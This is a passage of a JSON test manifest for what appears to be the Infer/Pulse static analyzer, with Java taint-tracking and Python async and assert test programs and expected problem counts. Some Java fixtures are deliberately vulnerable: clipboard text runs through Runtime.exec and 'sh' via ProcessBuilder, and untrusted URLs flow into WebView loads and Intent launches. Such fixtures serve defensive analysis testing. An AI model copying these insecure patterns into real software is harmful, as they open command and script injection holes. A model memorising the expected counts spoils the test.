testIntegritySinkAnnotNoReport(String s) {\n integritySink(s, integritySource()); // should not report\n }\n}\n" + }, + { + "testname": "TaintMatchers.java", + "testlanguage": "java", + "expected-problems": 22, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\n/* testing advanced source/sink matchers */\nimport codetoanalyze.java.pulse.sinks.InferTaintSinks;\n\npublic class TaintMatchers {\n void taintedBasedOnClassNameRegexBad() {\n Object src = InferTaint.inferSecretSource();\n InferTaintSinks.sink1(src);\n InferTaintSinks.sink2(src);\n }\n\n void notTaintedBasedOnClassNameRegexOk() {\n Object src = InferTaint.inferSecretSource();\n InferTaint.sink1(src);\n InferTaint.sink2(src);\n }\n\n void taintedFromInferBaseSourceBad() {\n InferChildSource ics = new InferChildSource();\n Object source = ics.inferBaseSecretSource();\n InferTaint.inferSensitiveSink(source);\n }\n\n void notTaintedFromInferBaseNotSourceGood() {\n InferChildSource ics = new InferChildSource();\n Object notSource = ics.inferBaseNotSource();\n InferTaint.inferSensitiveSink(notSource);\n }\n\n void taintedFromInferChildSourceBad() {\n InferChildSource ics = new InferChildSource();\n Object source = ics.inferChildSecretSource();\n InferTaint.inferSensitiveSink(source);\n }\n\n void notTaintedFromInferChildNotSourceGood() {\n InferChildSource ics = new InferChildSource();\n Object notSource = ics.inferChildNotSource();\n InferTaint.inferSensitiveSink(notSource);\n }\n\n void taintedBasedOnClassNameAndMethodRegexBad() {\n Object src = InferTaint.inferSecretSource();\n InferTaint.regexSink(src);\n }\n\n void notTaintedBasedOnClassNameAndMethodRegexBad() {\n Object src = InferTaint.inferSecretSource();\n InferTaint.notRegexSink(src);\n }\n\n void taintedBasedOnClassAnnotationBad1() {\n Object src = InferTaintSources.Sources.source1();\n InferTaint.inferSensitiveSink(src);\n }\n\n void taintedBasedOnClassAnnotationBad2() {\n Object src = InferTaintSources.Sources.source2();\n InferTaint.inferSensitiveSink(src);\n }\n\n void notTaintedBasedOnClassAnnotationGood() {\n Object src = InferTaintSources.NotSources.notSource();\n InferTaint.inferSensitiveSink(src);\n }\n\n void taintedBasedOnClassAndProcedureRegexBad1() {\n Object src = InferTaintSources.RegexSources.source1();\n InferTaint.inferSensitiveSink(src);\n }\n\n void taintedBasedOnClassAndProcedureRegexBad2() {\n Object src = InferTaintSources.RegexSources.source2();\n InferTaint.inferSensitiveSink(src);\n }\n\n void notTaintedBasedOnClassAndProcedureRegexOk1() {\n Object src = InferTaintSources.RegexSources.notSource();\n InferTaint.inferSensitiveSink(src);\n }\n\n void notTaintedBasedOnClassAndProcedureRegexOk2() {\n Object src = InferTaintSources.NotSources.sourceButNotReally();\n InferTaint.inferSensitiveSink(src);\n }\n\n void taintedBasedOnClassAnnotationAndClassAndProcedureRegexBad1() {\n Object src = InferTaintSources.RegexAndAnnotationSources.source1();\n InferTaint.inferSensitiveSink(src);\n }\n\n void taintedBasedOnClassAnnotationAndClassAndProcedureRegexBad2() {\n Object src = InferTaintSources.RegexAndAnnotationSources.source2();\n InferTaint.inferSensitiveSink(src);\n }\n\n void notTaintedBasedOnClassAnnotationAndClassAndProcedureRegexGood1() {\n Object src = InferTaintSources.RegexAndAnnotationSources.notSource();\n InferTaint.inferSensitiveSink(src);\n }\n\n void notTaintedBasedOnClassAnnotationAndClassAndProcedureRegexGood2() {\n Object src = InferTaintSources.RegexAndAnnotationNotSources.notSource();\n InferTaint.inferSensitiveSink(src);\n }\n\n void notTaintedBasedOnClassAnnotationAndClassAndProcedureRegexGood3() {\n Object src = InferTaintSources.RegexAndAnnotationNotSources.sourceButNotReally();\n InferTaint.inferSensitiveSink(src);\n }\n}\n" + }, + { + "testname": "Traces.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nclass Traces {\n void sourceMethodBad() {\n Obj source = (Obj) InferTaint.inferSecretSource();\n callSameSink(null, source, null, null);\n }\n\n void callSameSink(Obj o1, Obj o2, Obj o3, Obj o4) {\n callMySink(o1);\n callMySinkIndirect(o2); // test that we expand this sink in the trace\n callMySink(o3);\n callMySink(o4);\n }\n\n void callMySinkIndirect(Obj o) {\n callMySink(o);\n }\n\n void callMySink(Obj o) {\n InferTaint.inferSensitiveSink(o);\n }\n}\n" + }, + { + "testname": "UnknownCode.java", + "testlanguage": "java", + "expected-problems": 30, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport android.content.Intent;\nimport android.os.Parcel;\n\nclass SensitiveClass {\n native Object getId();\n}\n\n/** testing how the analysis handles missing/unknown code */\npublic abstract class UnknownCode {\n\n static native Object nativeMethod(Object o);\n\n abstract Object abstractMethod(Object o);\n\n static void inferSensitiveSink(Object o) {}\n\n static interface Interface {\n Object interfaceMethod(Object o);\n }\n\n static void propagateViaUnknownConstructorBad() {\n String source = InferTaint.inferSecretStringSource();\n // we don't analyze the code for the core Java libraries, so this constructor will be unknown\n String unknownConstructor = new String(source);\n InferTaint.inferSensitiveSink(unknownConstructor);\n }\n\n static void propagateViaUnknownConstructorOk() {\n String unknownConstructor = new String(\"\");\n InferTaint.inferSensitiveSink(unknownConstructor);\n }\n\n void propagateViaUnknownCodeOk(Interface i) {\n Object notASource = new Object();\n Object launderedSource1 = nativeMethod(notASource);\n Object launderedSource2 = abstractMethod(launderedSource1);\n Object launderedSource3 = i.interfaceMethod(launderedSource2);\n InferTaint.inferSensitiveSink(launderedSource3);\n }\n\n void callUnknownSetterBad(Intent i) {\n Object source = InferTaint.inferSecretSource();\n // we don't analyze the source code for Android, so this will be unknown\n i.writeToParcel((Parcel) source, 0);\n InferTaint.inferSensitiveSink(i);\n }\n\n void propagateEmptyBad() {\n String source = InferTaint.inferSecretStringSource();\n StringBuffer buffer = new StringBuffer();\n buffer.append(source); // buffer is now tainted\n // even though \"\" is not tainted, buffer and alias should still be tainted\n StringBuffer alias = buffer.append(\"\");\n InferTaint.inferSensitiveSink(buffer); // should report\n InferTaint.inferSensitiveSink(alias); // should report\n }\n\n void propagateFootprint(String param) {\n StringBuffer buffer = new StringBuffer();\n buffer.append(param);\n InferTaint.inferSensitiveSink(buffer);\n }\n\n void callPropagateFootprintBad() {\n propagateFootprint(InferTaint.inferSecretStringSource());\n }\n\n static native Object nativeMethod2(Object o, int i);\n\n String propagateTaint(String param) {\n String a = param;\n int i = 1234;\n return (String) nativeMethod2(a, i);\n }\n\n void callPropagateThenPropagateFootprintBad() {\n String source = InferTaint.inferSecretStringSource();\n propagateFootprint(propagateTaint(source));\n }\n\n static void propagateViaInterfaceCodeBad(Interface i) {\n Object source = InferTaint.inferSecretSource();\n Object launderedSource = i.interfaceMethod(source);\n InferTaint.inferSensitiveSink(launderedSource);\n }\n\n void propagateViaUnknownNativeCodeBad() {\n Object source = InferTaint.inferSecretSource();\n Object launderedSource = nativeMethod(source);\n InferTaint.inferSensitiveSink(launderedSource);\n }\n\n static void propagateViaUnknownAbstractCodeBad() {\n Object source = InferTaint.inferSecretSource();\n Object launderedSource = nativeMethod(source);\n InferTaint.inferSensitiveSink(launderedSource);\n }\n\n static void propagatedTaintUnrelated(SensitiveClass sc) {\n Object t1 = nativeMethod(sc.getId());\n Object t2 = nativeMethod(null);\n if (t1 == t2) {\n InferTaint.inferSensitiveSink(t2);\n }\n }\n\n static String returnToString(Object param) {\n return param.toString();\n }\n\n static void sourceIndirectToStringToSink() {\n String tainted = returnToString(InferTaint.inferSecretSource());\n InferTaint.inferSensitiveSink(tainted);\n }\n}\n" + }, + { + "testname": "UserControlledStrings.java", + "testlanguage": "java", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport android.content.ClipboardManager;\nimport android.text.Html;\nimport android.text.Spanned;\nimport android.widget.EditText;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class UserControlledStrings {\n ClipboardManager clipboard;\n\n Spanned clipboardToHtmlBad() {\n return Html.fromHtml(clipboard.getText().toString());\n }\n\n EditText mEditText;\n\n Spanned editTextToHtmlBad() {\n return Html.fromHtml(mEditText.getText().toString());\n }\n\n void clipboardToShellDirectBad() throws IOException {\n Runtime.getRuntime().exec(clipboard.getText().toString());\n }\n\n void clipboardToShellArrayBad() throws IOException {\n String[] cmds = new String[] {\"ls\", clipboard.getText().toString()};\n Runtime.getRuntime().exec(cmds);\n }\n\n ProcessBuilder clipboardToProcessBuilder1Bad() {\n return new ProcessBuilder(clipboard.getText().toString());\n }\n\n ProcessBuilder clipboardToProcessBuilder2Bad() {\n return new ProcessBuilder(\"sh\", clipboard.getText().toString());\n }\n\n ProcessBuilder clipboardToProcessBuilder3Bad(ProcessBuilder builder) {\n return builder.command(clipboard.getText().toString());\n }\n\n ProcessBuilder clipboardToProcessBuilder4Bad(ProcessBuilder builder) {\n List cmds = new ArrayList();\n cmds.add(clipboard.getText().toString());\n return builder.command(cmds);\n }\n}\n" + }, + { + "testname": "WebViews.java", + "testlanguage": "java", + "expected-problems": 23, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport android.app.Activity;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.net.Uri;\nimport android.webkit.JavascriptInterface;\nimport android.webkit.JsPromptResult;\nimport android.webkit.JsResult;\nimport android.webkit.WebChromeClient;\nimport android.webkit.WebResourceRequest;\nimport android.webkit.WebResourceResponse;\nimport android.webkit.WebView;\nimport android.webkit.WebViewClient;\nimport java.io.File;\nimport java.net.URISyntaxException;\n\npublic class WebViews {\n\n void callWebviewSinks(WebView webview) {\n String stringSource = (String) InferTaint.inferSecretSource();\n\n webview.evaluateJavascript(stringSource, null);\n webview.loadData(stringSource, \"\", \"\");\n webview.loadDataWithBaseURL(\"\", stringSource, \"\", \"\", \"\");\n webview.loadUrl(stringSource);\n webview.postUrl(stringSource, null);\n webview.postWebMessage(null, (Uri) InferTaint.inferSecretSource());\n }\n\n // make sure all of the rules apply to subclasses as well\n class MyWebView extends WebView {\n public MyWebView(Context c) {\n super(c);\n }\n }\n\n Activity mActivity;\n\n class MyWebViewClient extends WebViewClient {\n\n @Override\n public void onLoadResource(WebView w, String url) {\n try {\n Intent i = Intent.parseUri(url, 0);\n mActivity.startActivity(i); // should report\n } catch (URISyntaxException e) {\n }\n }\n\n @Override\n public WebResourceResponse shouldInterceptRequest(WebView w, WebResourceRequest request) {\n mActivity.startActivity(new Intent(\"action\", request.getUrl())); // should report\n return null;\n }\n\n File webResourceToFileBad(WebResourceRequest request) {\n return new File(request.getUrl().getPath());\n }\n\n @Override\n public boolean shouldOverrideUrlLoading(WebView w, String url) {\n try {\n Intent i = Intent.parseUri(url, 0);\n mActivity.startActivity(i); // should report\n } catch (URISyntaxException e) {\n }\n return false;\n }\n }\n\n class MyWebChromeClient extends WebChromeClient {\n\n @Override\n public boolean onJsAlert(WebView w, String url, String message, JsResult result) {\n try {\n Intent i = Intent.parseUri(url, 0);\n mActivity.startActivity(i);\n } catch (URISyntaxException e) {\n }\n return false;\n }\n\n @Override\n public boolean onJsBeforeUnload(WebView w, String url, String m, JsResult result) {\n try {\n Intent i = Intent.parseUri(url, 0);\n mActivity.startActivity(i);\n } catch (URISyntaxException e) {\n }\n return false;\n }\n\n @Override\n public boolean onJsConfirm(WebView w, String url, String m, JsResult result) {\n try {\n Intent i = Intent.parseUri(url, 0);\n mActivity.startActivity(i);\n } catch (URISyntaxException e) {\n }\n return false;\n }\n\n @Override\n public boolean onJsPrompt(WebView w, String url, String m, String s, JsPromptResult result) {\n try {\n Intent i = Intent.parseUri(url, 0);\n mActivity.startActivity(i);\n } catch (URISyntaxException e) {\n }\n return false;\n }\n }\n\n void callWebviewSubclassSink(MyWebView webview) {\n String stringSource = (String) InferTaint.inferSecretSource();\n webview.evaluateJavascript(stringSource, null);\n }\n\n class JsObject {\n @JavascriptInterface\n Object returnSource() {\n return InferTaint.inferSecretSource();\n }\n }\n\n // in order to get this, we have to understand that addJavaScriptInterface can evaluate the\n // JsObject.returnSource method\n void FN_addJavascriptInterface(MyWebView webview) {\n // should warn here\n webview.addJavascriptInterface(new JsObject(), \"injectedObject\");\n }\n}\n" + }, + { + "testname": "assert_capture.py", + "testlanguage": "python", + "expected-problems": 6, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nfrom not_captured import id_not_captured\nfrom dir1.dir3.testmod import id as id_captured\nfrom dir1.dir4.skipped import id as id_skipped\n\n#expected since id_not_captured is not captured\ndef FP_assert_true_with_id_not_captured_ok():\n assert id_not_captured(True)\n\n\ndef assert_false_with_id_not_captured_bad():\n assert id_not_captured(False)\n\n\ndef assert_true_with_id_captured_ok():\n assert id_captured(True)\n\n\ndef assert_false_with_id_captured_bad():\n assert id_captured(False)\n\n\n#expected since id_skipped is not captured (see .inferconfig and option\ndef FP_assert_true_with_id_skipped_ok():\n assert id_skipped(True)\n\n\ndef assert_false_with_id_skipped_bad():\n assert id_skipped(False)\n" + }, + { + "testname": "assert_level0.py", + "testlanguage": "python", + "expected-problems": 3, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n\ndef assert_true_bad():\n assert False\n\n\ndef assert_true_ok():\n assert True\n\n\n# the assert-error issue is not latent: we consider such a partial\n# function should be considered bad\ndef run_assert_latent_bad(b):\n assert b\n" + }, + { + "testname": "assert_oo_basic.py", + "testlanguage": "python", + "expected-problems": 8, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nclass A:\n def __init__(self, val):\n self.attr = val\n\n def get(self):\n return self.attr\n\n def set(self, val):\n self.attr = val\n\n\ndef get_attr_after_init_bad():\n a = A(False)\n assert a.get()\n\n\ndef get_attr_after_init_ok():\n a = A(True)\n assert a.get()\n\n\ndef get_attr_after_set_bad():\n a = A(True)\n a.set(False)\n assert a.get()\n\n\ndef get_attr_after_set_ok():\n a = A(False)\n a.set(True)\n assert a.get()\n" + }, + { + "testname": "assert_oo_single_inheritance.py", + "testlanguage": "python", + "expected-problems": 25, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nclass A:\n class_attrA_false = False\n class_attrA_true = True\n def __init__(self, val):\n self.attrA = val\n\n def get_attrA(self):\n return self.attrA\n\n def set_attrA(self, val):\n self.attrA = val\n\n\nclass B(A):\n class_attrB_false = False\n class_attrB_true = True\n def get_attrB(self):\n return self.attrB\n\n def set_attrB(self, val):\n self.attrB = val\n\n\ndef not_inherited_attribute_bad():\n b = B()\n b.attrB = False\n assert b.attrB\n\n\ndef not_inherited_attribute_ok():\n b = B()\n b.attrB = True\n assert b.attrB\n\n\ndef not_inherited_method_bad():\n b = B()\n b.set_attrB(False)\n assert b.get_attrB()\n\n\ndef not_inherited_method_ok():\n b = B()\n b.set_attrB(True)\n assert b.get_attrB()\n\n\ndef inherited_class_attribute_B_bad():\n b = B()\n assert b.class_attrB_false\n\n\ndef inherited_class_attribute_B_ok():\n b = B()\n assert b.class_attrB_true\n\n\ndef inherited_class_attribute_A_bad():\n b = B()\n assert b.class_attrA_false\n\n\ndef inherited_class_attribute_A_ok():\n b = B()\n assert b.class_attrA_true\n\n\ndef inherited_method_bad():\n b = B()\n b.set_attrA(False)\n assert b.get_attrA()\n\n\ndef inherited_method_ok():\n b = B()\n b.set_attrA(True)\n assert b.get_attrA()\n\n\ndef inherited_class_modified_attribute_B_1_bad():\n B.class_attrB_true = False\n b = B()\n assert b.class_attrB_true\n\n\ndef inherited_class_modified_attribute_B_1_ok():\n B.class_attrB_false = True\n b = B()\n assert b.class_attrB_false\n\n\ndef inherited_class_modified_attribute_B_2_bad():\n b = B()\n B.class_attrB_true = False\n assert b.class_attrB_true\n\n\ndef inherited_class_modified_attribute_B_2_ok():\n b = B()\n B.class_attrB_false = True\n assert b.class_attrB_false\n\n\ndef FN_inherited_class_modified_attribute_A_1_bad():\n A.class_attrA_true = False\n b = B()\n assert b.class_attrA_true\n\n\ndef FP_inherited_class_modified_attribute_A_1_ok():\n A.class_attrA_false = True\n b = B()\n assert b.class_attrA_false\n\n\ndef FN_inherited_class_modified_attribute_A_2_bad():\n b = B()\n A.class_attrA_true = False\n assert b.class_attrA_true\n\n\ndef FP_inherited_class_modified_attribute_A_2_ok():\n b = B()\n A.class_attrA_false = True\n assert b.class_attrA_false\n" + }, + { + "testname": "async_classes.py", + "testlanguage": "python", + "expected-problems": 6, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport asyncio\n\n\nclass Car:\n def __init__(self, make, model):\n self.make = make\n self.model = model\n\n def drive(self):\n return 0\n\n async def refuel(self):\n await asyncio.sleep(2)\n\n\nasync def car_instance_ok():\n my_car = Car(\"Fusca\", \"1999\")\n my_car.drive()\n await my_car.refuel()\n\n\nasync def fn_car_instance_bad():\n my_car = Car(\"Fusca\", \"1999\")\n my_car.drive()\n return my_car.refuel()\n" + }, + { + "testname": "async_dict.py", + "testlanguage": "python", + "expected-problems": 4, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport asyncio\n\n\ndef int_key_access_ok():\n d = {\"ABC\": 1, 2: asyncio.sleep(1)}\n return d[2]\n\n\ndef str_key_access_ok():\n d = {\"ABC\": 1, \"DEF\": asyncio.sleep(1)}\n return d[\"DEF\"]\n\n\ndef fn_int_key_access_bad():\n d = {123: 1, 456: asyncio.sleep(1)}\n return d[123]\n\n\nasync def str_key_access_bad():\n d = {\"ABC\": asyncio.sleep(), 123: 456, \"DEF\": await asyncio.sleep(1)}\n return d[\"DEF\"]\n" + }, + { + "testname": "async_global.py", + "testlanguage": "python", + "expected-problems": 2, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport asyncio\n\n\nasync def set_unwaited_global():\n global g\n g = asyncio.sleep()\n\n\nasync def await_global():\n global g\n await g\n\n#ok\nasyncio.run(set_unwaited_global())\nasyncio.run(await_global())\ng = 0\n\n#bad\nasyncio.run(set_unwaited_global())\ng = 0\n" + }, + { + "testname": "async_import_simple.py", + "testlanguage": "python", + "expected-problems": 11, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport asyncio\nimport async_utils as utils\nfrom async_utils import (\n await_it as async_await,\n dont_await_it as async_dont_await,\n sleep,\n C\n)\nfrom not_captured import unknown\nfrom await_sync_lib import await_sync_decorator\n\nasync def with_import_bad():\n await utils.dont_await_it(sleep())\n\n\nasync def with_import_ok():\n await utils.await_it(sleep())\n\n\nasync def with_from_import_bad():\n await async_dont_await(sleep())\n\n\nasync def with_from_import_ok():\n await async_await(sleep())\n\n\nasync def with_imported_class_bad():\n await async_dont_await(C.sleep())\n\n\nasync def with_imported_class_ok():\n await async_await(C.sleep())\n\n\nasync def asyncio_gather_3_elements_ok():\n await asyncio.gather(\n *[\n sleep(),\n sleep(),\n sleep(),\n ]\n )\n\n\nasync def asyncio_gather_unknown_list_ok(l):\n tasks = [asyncio.sleep(i) for i in l]\n await asyncio.gather(*tasks)\n\n\nasync def make_awaitables_dict(cond):\n awaitables_dict = {}\n if cond:\n awaitables_dict[\"a key\"] = sleep()\n return awaitables_dict\n\n\ndef unknown_call():\n unknown(asyncio.sleep(1))\n\n\n@await_sync_decorator\nasync def main_ok(x, y ):\n pass\n\nmain_ok(x, y)\n" + }, + { + "testname": "async_import_with_package.py", + "testlanguage": "python", + "expected-problems": 29, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport asyncio\nfrom dir1.testmod import (\n await_it as await_it1,\n dont_await_it as dont_await_it1,\n)\nfrom dir1.dir3.testmod import (\n await_it as await_it3,\n dont_await_it as dont_await_it3,\n C,\n wait,\n deep_wait\n)\nfrom not_captured.helper import (\n not_captured_wait,\n not_captured_deep_wait\n)\nimport dir1.dir4.testmod\nfrom dir2.testmod import (\n await_it as await_it2,\n dont_await_it as dont_await_it2,\n)\nimport dir2.dir5.testmod as import5\nfrom dir2.dir6 import testmod as import6\nfrom not_captured.dir import unknown_module1 as unknown_module\nfrom not_captured.dir.unknown_module2 import unknown\n\nasync def bad1():\n await dont_await_it1(asyncio.sleep(1))\n\n\nasync def ok1():\n await await_it1(asyncio.sleep(1))\n\n\nasync def bad2():\n await dont_await_it2(asyncio.sleep(1))\n\n\nasync def ok2():\n await await_it2(asyncio.sleep(1))\n\n\nasync def bad3():\n await dont_await_it3(asyncio.sleep(1))\n\n\nasync def ok3():\n await await_it3(asyncio.sleep(1))\n\n\nasync def from_class_bad3():\n await dont_await_it3(C.async_fun())\n\n\nasync def from_class_ok3():\n await await_it3(C.async_fun())\n\n\nasync def fn_bad4():\n await dir1.dir4.testmod.dont_await_it(asyncio.sleep(1))\n# we still need this explicit toplevel call until we adapt specialization\n# types to import-packages without alias names but this is not a frequent\n# pattern in our experiments so far\n#asyncio.run(bad4())\n\nasync def ok4():\n await dir1.dir4.testmod.await_it(asyncio.sleep(1))\nasyncio.run(ok4())\n\n\nasync def bad5():\n await import5.dont_await_it(asyncio.sleep(1))\n\n\nasync def ok5():\n await import5.await_it(asyncio.sleep(1))\n\n\nasync def bad6():\n await import6.dont_await_it(asyncio.sleep(1))\n\n\nasync def ok6():\n await import6.await_it(asyncio.sleep(1))\n\n\ndef use_pulse_model_release_option_ok():\n wait(asyncio.sleep())\n\n\ndef use_pulse_model_release_option_not_captured_ok():\n not_captured_wait(asyncio.sleep())\n\n\ndef use_pulse_model_deep_release_option_args_ok(l):\n deep_wait(*[\n asyncio.sleep(1),\n asyncio.sleep(1),\n asyncio.sleep(1),\n ])\n\n\ndef use_pulse_model_deep_release_option_not_captured_args_ok():\n not_captured_deep_wait(*[\n asyncio.sleep(1),\n asyncio.sleep(1),\n asyncio.sleep(1),\n ])\n\ndef use_pulse_model_deep_release_option_ok(l):\n deep_wait(\n asyncio.sleep(1),\n asyncio.sleep(1),\n asyncio.sleep(1),\n )\n\n\ndef use_pulse_model_deep_release_option_not_captured_ok():\n not_captured_deep_wait(\n asyncio.sleep(1),\n asyncio.sleep(1),\n asyncio.sleep(1),\n )\n\ndef use_pulse_model_deep_release_option_generator_ok(l):\n deep_wait(\n asyncio.sleep(i) for i in l\n )\n\n# we don't try to track precisely generators for now\ndef FN_generator_with_unwaited_bad(l):\n l = (\n asyncio.sleep(i) for i in l\n )\n\n\ndef use_pulse_model_deep_release_option_dict_ok(l):\n deep_wait({ x.key: asyncio.sleep(x.i) for x in l})\n\n\ndef use_pulse_model_deep_release_option_set_ok(l):\n deep_wait({ asyncio.sleep(i) for i in l})\n\n\ndef use_pulse_model_deep_release_option_constant_dict_ok(key1, key2, key3, key4):\n deep_wait(\n {\n key1: asyncio.sleep(1),\n key2: asyncio.sleep(1),\n key3: asyncio.sleep(1),\n key4: asyncio.sleep(1),\n }\n )\n\n\ndef use_pulse_model_deep_release_option_constant_set_ok():\n deep_wait(\n {\n asyncio.sleep(1),\n asyncio.sleep(1),\n asyncio.sleep(1),\n asyncio.sleep(1),\n }\n )\n\n\ndef use_pulse_model_deep_release_option_constant_list_ok(key1, key2):\n deep_wait(\n [\n asyncio.sleep(1),\n asyncio.sleep(1),\n asyncio.sleep(1),\n asyncio.sleep(1),\n ]\n )\n\n\ndef unknown_call1_ok():\n unknown_module.foo(asyncio.sleep(1))\n\n\ndef unknown_call2_ok():\n unknown(asyncio.sleep(1))\n" + }, + { + "testname": "async_lambda.py", + "testlanguage": "python", + "expected-problems": 5, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport asyncio\n\n\nasync def foo():\n await asyncio.sleep(1)\n\n\nasync def lambda_bad():\n x = lambda: foo()\n x()\n\n\nasync def lambda_good():\n x = lambda: foo()\n await x()\n\n\nasync def lambda_param_bad(f):\n f()\n\n\nasync def lambda_param_bad_call_bad():\n lambda_param_bad(lambda: foo())\n\n\nlambda_param_bad(lambda: foo())\n" + }, + { + "testname": "async_level0.py", + "testlanguage": "python", + "expected-problems": 73, + "code": "# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport asyncio\nfrom unknown import (_async_fun, async_fun)\n\nasync def sleep(i):\n await asyncio.sleep(i)\n\n\nasync def sleep_bad(i):\n asyncio.sleep(i)\n\n\nasync def call_sleep_ok():\n await sleep(1)\n\n\nasync def call_sleep_bad():\n sleep(1)\n\n\nasync def call_sleep_unknown_call_ok():\n unknown(sleep(1))\n\n\nasync def call_sleep_with_temp_ok():\n temp = sleep(1)\n await temp\n\n\nasync def call_sleep_with_branchs_ok(b):\n temp = sleep(1)\n if b:\n await temp\n else:\n await temp\n\n\nasync def call_sleep_with_branchs_bad1(b):\n temp = sleep(1)\n if b:\n await temp\n\n\nasync def call_sleep_with_branchs_bad2(b):\n temp = sleep(1)\n if b:\n return\n await temp\n\n\nasync def tuple0_bad():\n t = (sleep(1), sleep(2))\n await t[0]\n\n\nasync def tuple1_bad():\n t = (sleep(1), sleep(2))\n await t[1]\n\n\nasync def tuple_ok():\n t = (sleep(1), sleep(2))\n await t[0]\n await t[1]\n\n\nasync def with_str_bad():\n unwaited = sleep(1)\n return str(unwaited)\n\n\nasync def with_str_ok():\n unwaited = sleep(1)\n s = str(unwaited)\n awaited = await unwaited\n return (awaited, s)\n\n\ndef fst(x: int, y: int) -> int:\n return x\n\n\nasync def call_fst_ok(i):\n await fst(sleep(1), i)\n\n\nasync def call_fst_bad(i):\n return fst(i, sleep(1))\n\n\nasync def compare_lt_bad():\n i = sleep()\n if i < 0:\n pass\n\n\nasync def compare_lt_ok():\n i = await sleep()\n if i < 0:\n pass\n\n\nasync def compare_gt_bad():\n i = sleep()\n if i > 0:\n pass\n\n\nasync def compare_gt_ok():\n i = await sleep()\n if i > 0:\n pass\n\n\nasync def use_py_bool_bad(b):\n x = sleep()\n return x if b else None\n\n\nasync def use_py_bool_ok(b):\n x = await sleep()\n return x if b else None\n\n\ndef true():\n return True\n\n\nasync def use_py_bool_true_ok():\n x = sleep()\n if true():\n await x\n\n\ndef false():\n return False\n\n\nasync def use_py_bool_false_ok():\n x = sleep()\n if false():\n pass\n else:\n await x\n\n\n# FN because of py_store_subscript model\ndef FN_set_dict_with_unwaited_bad(key):\n d = {}\n d[key] = asyncio.sleep(0)\n\n\nasync def use_py_get_iter_bad():\n x = sleep()\n return [a.f for a in x]\n\n\nasync def use_py_get_iter_ok():\n x = await sleep()\n return [a.f for a in x]\n\n\n# we decide that boolification of an unawaited awaitable is too dangerous\nasync def gather_condition_awaitable_bad():\n awaitable = sleep()\n asyncio.gather(awaitable if awaitable else sleep())\n\n\nasync def concat_list_left_ok(l):\n return [sleep()] + l\n\n\nasync def concat_list_right_ok(l):\n return l + [sleep()]\n\n\nasync def concat_tuple_left_ok(l):\n return (sleep(), sleep()) + l\n\n\nasync def concat_tuple_right_ok(l):\n return l + (sleep(), sleep())\n\n\nasync def do_not_await_arg(arg):\n pass\n\n\nasync def await_arg(arg):\n await arg\n\n\nasync def use_await_arg_ok():\n unawaited = async_fun()\n await await_arg(unawaited)\n\n\nasync def use_do_not_await_arg_bad():\n unawaited = async_fun()\n await do_not_await_arg(unawaited)\n\n\nasync def use_await_arg_named_arg_ok():\n unawaited = async_fun()\n await await_arg(arg=unawaited)\n\n\nasync def use_do_not_await_arg_named_arg_bad():\n unawaited = async_fun()\n await do_not_await_arg(arg=unawaited)\n\n\nasync def do_not_await_arg2_with_star(arg1, *, arg2):\n pass\n\n\nasync def await_arg2_with_star(arg1, *, arg2):\n await arg2\n\n\nasync def use_await_arg2_named_arg_with_star_ok():\n unawaited = async_fun()\n await await_arg2_with_star(None, arg2=unawaited)\n\n\nasync def FN_use_do_not_await_arg2_named_arg_with_star_bad():\n unawaited = async_fun()\n await do_not_await_arg2_with_star(None, arg2=unawaited)\n\n\ndef get_option_awaitable(b):\n if b:\n return asyncio.sleep(1)\n else:\n return None\n\n\nasync def FP_3_12_call_get_option_awaitable_eq_test_none_ok(b):\n unawaited = get_option_awaitable(b)\n if unawaited is None:\n return None\n return await unawaited\n\n\nasync def call_get_option_awaitable_eq_test_none_bad(b):\n unawaited = get_option_awaitable(b)\n if unawaited is None:\n return await unawaited\n\n\nasync def async_naming_convention_test1_bad():\n _async_fun()\n\n\nasync def async_naming_convention_test1_ok():\n await _async_fun()\n\n\nasync def async_naming_convention_test2_bad():\n async_fun()\n\n\nasync def async_naming_convention_test2_ok():\n await 